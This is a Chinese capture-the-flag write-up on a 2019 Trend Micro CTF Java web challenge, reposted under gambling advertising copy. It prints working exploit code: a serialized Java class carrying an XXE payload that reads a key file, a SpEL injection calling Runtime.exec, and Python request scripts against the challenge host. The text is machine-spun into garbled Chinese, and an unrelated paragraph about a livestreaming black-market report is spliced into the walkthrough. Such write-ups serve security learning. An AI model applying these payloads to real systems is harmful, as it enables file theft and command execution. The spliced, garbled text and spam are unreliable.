2019 Trend Micro CTF & Java Web | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

2019 Trend Micro CTF & Java Web

申博

申博涵盖最全面、最美妙的网页游戏,拥有高人气和好口碑!在广大用户的见证下逐步提高自己的服务水平和业务能力,在游戏的公平公正公开上有目共睹,品牌保障,多年运营,让你新游戏、老游戏都能够畅快体验,游戏的内容和形式十分丰富,带给你不容错过的娱乐时光,获得新老客户的一致认可,通过申博,让你掌握游戏快乐!

,

媒介

之前写的文章都是偏重于php,本篇文章就以2019 Trend Micro CTF的一道300分的Java Web最先我的Java之路吧~

题目剖析

题目给了1个war包,那末很显著是一道代码审计题目,我们运用JD-GUI翻开剖析一下代码,代码组织大抵以下:

2019 Trend Micro CTF & Java Web

我们在Office类中看到须要吸收2个参数:

2019 Trend Micro CTF & Java Web

继承往下跟进,我们看到一个显著的spel表达式注入点:

2019 Trend Micro CTF & Java Web

而nametag恰是我们传入的参数,同时未做任何过滤,便带入了表达式中举行剖析,那末这显著是一个可控应用点。

然则怎样进入该if条件句成为了一个题目,我们注意到:

 

String keyParam = request.getParameter("key");
String keyFileLocation = "/TMCTF2019/key";
if (key.contentEquals(keyParam))

我们必需满足我们传入的key和文件:

/TMCTF2019/key

中的值一致才能够进入该条件句,那末只需找到一个文件恣意读取的点即可。

XXE恣意文件读取

继承审计代码,发如今Person类中,存在XXE文件读取点:

2019 Trend Micro CTF & Java Web

而效果会回显在Server类中:

2019 Trend Micro CTF & Java Web

我们写出对应的exp:

 

package com.trendmicro;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
public class Person
        implements Serializable
{
    public String name;
    private static final long serialVersionUID = -559038737L;
    public Person(String name)
    {
        this.name = name;
    }
    private void readObject(ObjectInputStream aInputStream)
            throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException
    {
        int paramInt = aInputStream.readInt();
        byte[] arrayOfByte = new byte[paramInt];
        aInputStream.read(arrayOfByte);
        ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
        DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
        localDocumentBuilderFactory.setNamespaceAware(true);
        DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
        Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
        NodeList nodeList = localDocument.getElementsByTagName("tag");
        Node node = nodeList.item(0);
        this.name = node.getTextContent();
    }
    private void writeObject (ObjectOutputStream out) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException{
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n" +
                "<!DOCTYPE ANY [  \n" +
                "<!ENTITY shit SYSTEM \"file:///TMCTF2019/key\">   \n" +
                "]>  \n" +
                "<root><tag>&shit;</tag></root> ";
        byte[] bs = xml.getBytes();
        out.writeInt(bs.length);
        ByteArrayOutputStream baos = new ByteArrayOutputStream(bs.length);
        baos.write(bs);
        out.write(baos.toByteArray());
    }
}
package com.trendmicro;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Main {
        public static void main(String[] args) throws Exception {
            Person person = new Person("a");
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./obj"));
            oos.writeObject(person);
            oos.close();
        }
}

起首运转天生exp文件,然后应用python将其作为data发送,尝试举行XXE进击读取文件/TMCTF2019/key:

视频直播类黑色产业链专项剖析

导读:2019年9月16日,网络安全宣传周在天津开幕,本次宣传周以”网络安全为人民,网络安全靠人民”为主题。当前,我国网络空间安全问题异常严峻,个人隐私保护,网络诈骗,网络钓鱼,网络漏洞,恶意代码等问题突出,无时无刻不对人们的正常生产生活造成巨大威胁。网络安全具有”水桶效应”,从物理设备安全、行为安全、数据安全再到内容安全,每一个环节都是网络空间安全不可或缺的一部分。 随着近年来移动互联网的发展,产生了一大批内容平台,但因内容不合规,屡屡传出被下架、被关停的消息,由此可见,网络内容安全问题不容忽视,特别是以非法内容形成的黑色产业链应成为重点打击对象

 

import requests
url = 'http://flagmarshal.xyz/jail'
f = open('./obj','rb')
exp = f.read()
r = requests.post(url = url,data=exp)
print r.content

能够胜利读到回显:

2019 Trend Micro CTF & Java Web

我们关注到如今的person.name已变成了我们xxe读取的文件内容,我们胜利的获取了/TMCTF2019/key,其值为:

Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain

Spel表达式注入进击

那末我们回到之前的点,剩下的就是对其举行进击:

我们关注到并没有现实的回显点,我们起首尝试敕令实行:

 

import requests
url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s"
exp = '''T(java.lang.Runtime).getRuntime().exec("nslookup a.com")'''
now_url = url %exp
r = requests.get(now_url)
print r.content

获得回显:

Please remember that I can only resolve the 'com.trendmicro.jail.Flag' classI am sorry but you cannot see the Marshal

我们发明只允许我们运用:com.trendmicro.jail.Flag

我们举行代码审计:

2019 Trend Micro CTF & Java Web

我们发明,只需挪用getflag()函数即可在报错信息中获得flag。

注意到表达式为:

'nametag' == 'Marshal'

我们的可控点在nametag,我们尝试组织:

nametag = '+T(com.trendmicro.jail.Flag).getFlag()+'

如许即可获得:

''+T(com.trendmicro.jail.Flag).getFlag()+'' == 'Marshal'

我们尝试应用:

 

import requests
url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s"
exp ="""'+T(com.trendmicro.jail.Flag).getFlag()+'"""
now_url = url %exp
r = requests.get(now_url)
print r.content

发明涌现了报错,个中并没有flag:

2019 Trend Micro CTF & Java Web

纠结了好久,发明是+须要编码为%2B的题目,更正后即可getflag:

2019 Trend Micro CTF & Java Web

跋文

题目串连了2个破绽:Spel表达式注入+XXE文件恣意读取,放在Java中照样能够学到一些学问的~

原文地点: https://www.4hou.com/web/20747.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明2019 Trend Micro CTF & Java Web
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址